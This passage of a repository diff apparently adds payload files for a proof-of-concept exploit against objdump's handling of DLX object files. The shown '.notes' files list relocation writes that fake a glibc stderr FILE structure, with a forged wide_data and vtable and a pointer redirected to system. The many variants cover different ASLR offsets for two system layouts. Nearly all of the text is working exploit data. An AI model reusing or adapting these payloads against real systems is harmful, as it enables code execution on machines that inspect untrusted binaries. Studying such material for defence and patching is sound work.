005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bef210000_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_orig_f06_bf020ff00_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=orig
flag_byte4=0x06
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
sec_size_offset=0x38
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b6f300000_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb0 rbase=0x220
sec_size_offset=0x38
000 target=0x26b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x26c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x2cb sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x2cc sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbe7 sym=0x00ffffff stage write bytes at 0xbe8
007 target=0xbe8 sym=0x000000ff finish write bytes at 0xbe8
008 target=0xbeb sym=0x00ffffff stage write bytes at 0xbec
009 target=0xbec sym=0x000000ff finish write bytes at 0xbec
010 target=0x3ab sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x3ac sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x40b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x40c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x46b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x46c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x4cb sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x4cc sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_wsl2404_f05_b702fff00_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=wsl2404
